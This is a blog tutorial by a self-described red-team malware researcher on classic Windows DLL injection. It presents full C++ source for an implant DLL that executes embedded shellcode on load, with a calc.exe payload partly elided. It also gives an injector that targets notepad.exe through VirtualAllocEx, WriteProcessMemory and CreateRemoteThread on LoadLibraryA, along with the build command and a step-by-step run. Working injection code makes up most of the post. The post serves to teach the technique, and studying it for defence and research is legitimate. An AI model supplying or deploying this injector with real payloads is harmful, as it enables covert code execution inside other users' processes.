Injection Part Deux — The DLL

James Patrick
6 min readSep 21, 2023

--

DLL Injection is another form of code injection which is similar to shellcode injection but we are going to inject a DLL module that we want to run inside a target process.

Like shellcode injection we must allocate an empty buffer in a remote process, but the difference is it will hold a path to a DLL on disk instead of the actual DLL. The reason for this is because the DLL is a PE file and it needs to be parsed at loading time by the loader so the target process can get the DLL loaded for later use. The size of the buffer needs to be enough to hold the PATH of the DLL on disk.

There is another method called reflective DLL injection which bypasses this restriction and allows you to run a DLL inside a process without using a system loader — this will be covered in a another write-up. We will be talking about classic DLL injection.

After allocating the empty buffer space we will copy the path to this newly created buffer.

We could then call LoadLibrary remotely which is done by locating the address of LoadLibrary in the process. Then create a remote thread with the LoadLibrary argument and the path to our DLL which is within Kernel32.dll.

But since Kernel32 is loaded by different processes at the same address, we can use the GetProcAddress function inside our dropper to find LoadLibrary which will be at the same address inside of our target process. If successful, system will load our DLL from disk and initialize it inside our target process.

So in review, the needed steps are:

  • Locate LoadLibrary inside our process with GetProcAddress
  • Allocate a Buffer inside of our EXE
  • Use WriteProcessMemory to copy the path to the DLL
  • Call CreateRemoteThread with an address to LoadLibrary and the path to the DLL

Time to Inject!

To start we need two things; a DLL we want to inject and an Injector to inject this DLL into the remote process. Below is the code for our DLL and also located in the supplied link:

(https://github.com/flawdC0de/Ev1L/blob/main/implantDLL.cpp)

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Calc.exe shellcode (exit function = thread)
unsigned char payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
...
};
unsigned int payload_len = 276;

extern __declspec(dllexport) int Go(void);
int Go(void) {

void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;

exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

RtlMoveMemory(exec_mem, payload, payload_len);

rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, 0);
}
return 0;
}


BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved ) {

switch ( fdwReason ) {
case DLL_PROCESS_ATTACH:
Go();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

We will use the same calc.exe shellcode for this example which is not encoded or encrypted.

This code implements a “GO” function, which is exportable, and pretty much runs the shellcode. It’s function is to allocate the memory buffer:

exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

It moves the payload into a new buffer:

RtlMoveMemory(exec_mem, payload, payload_len);

It also changes the protection:

rv = VirtualProtect(exec_mem, payload_len, **PAGE_EXECUTE_READ**, &oldprotect);

And then creates the thread:

CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);

Within DllMain, once the process is attached the GO function is called which should result in the payload being run:

DLL_PROCESS_ATTACH:
Go();

Let’s look at the Injector. The code follows and is also provided in the link below:
(https://github.com/flawdC0de/Ev1L/blob/main/injectDLL.cpp)

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>


int FindTarget(const char *procname) {

HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;

hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}

while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}

CloseHandle(hProcSnap);

return pid;
}


int main(int argc, char *argv[]) {

HANDLE pHandle;
PVOID remBuf;
PTHREAD_START_ROUTINE pLoadLibrary = NULL;
char dll[] = "Z:\\MalDev\\Code_Injection\\02.DLL\\implantDLL.dll";
char target[] = "notepad.exe";
int pid = 0;


pid = FindTarget(target);
if ( pid == 0) {
printf("Target NOT FOUND! Exiting.\n");
return -1;
}

printf("Target PID: [ %d ]\nInjecting...", pid);

pLoadLibrary = (PTHREAD_START_ROUTINE) GetProcAddress( GetModuleHandle("Kernel32.dll"), "LoadLibraryA");

pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)(pid));

if (pHandle != NULL) {
remBuf = VirtualAllocEx(pHandle, NULL, sizeof dll, MEM_COMMIT, PAGE_READWRITE);

WriteProcessMemory(pHandle, remBuf, (LPVOID) dll, sizeof(dll), NULL);

CreateRemoteThread(pHandle, NULL, 0, pLoadLibrary, remBuf, 0, NULL);
printf("done!\nremBuf addr = %p\n", remBuf);

CloseHandle(pHandle);
}
else {
printf("OpenProcess failed! Exiting.\n");
return -2;
}
}

The FindTarget function is the same as we used the the previous shellcode write-up. In the main function we find the target which is still notepad.exe:

pid = FindTarget(target);

Then we get the location of LoadLibrary from our local process:

pLoadLibrary = (PTHREAD_START_ROUTINE) GetProcAddress( GetModuleHandle("Kernel32.dll"), "LoadLibraryA");

We open the target process — notepad.exe:

pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)(pid));

Once we have the handle we inject the PATH of the DLL which is specified in the main function:

char dll[] = "Z:\\MalDev\\Code_Injection\\02.DLL\\implantDLL.dll";
remBuf = VirtualAllocEx(pHandle, NULL, sizeof dll, MEM_COMMIT, PAGE_READWRITE);

We then write the path to memory:

WriteProcessMemory(pHandle, remBuf, (LPVOID) dll, sizeof(dll), NULL);

Finally we call CreateRemoteThread which is calling LoadLibrary with an argument to our path (remBuf):

CreateRemoteThread(pHandle, NULL, 0, pLoadLibrary, remBuf, 0, NULL);

This all will create a thread in notepad.exe which will run LoadLibrary and point it to the DLL path.

The printf is added so we can investigate where the buffer is located for demo purposes:

printf("done!\nremBuf addr = %p\n", remBuf);

The compile script has been update for this DLL:

@ECHO OFF

cl.exe /O2 /D_USRDLL /D_WINDLL implantDLL.cpp implantDLL.def /MT /link /DLL /OUT:implantDLL.dll

First we will compile the DLL and hope for no errors:

Success. We see the DLL was created:

We will now compile the injector, no issues:

We see the injector:

We will start notepad and run injectDLL.exe.

It found the target PID (8912) and launched calc, and also gave us our buffer location:

We will launch process hacker and see our notepad and its PID:

We can double-click notepad.exe and look at the memory tab and look for our buffer address 0002E50000 which is readable/writable (RW):

Double-clicking this we can see the path to our DLL:

Clicking on the modules tab we can see our implantDLL.dll:

Double-clicking on it we can see the path to our DLL in the title:

Clicking on exports we can see out GO function:

This is a classic DLL injection.

--

--

James Patrick
James Patrick

Written by James Patrick

Security Analyst | Malware Research | Red Team | Colbalt Strike | Adversary Hunting | OSCP | Coffee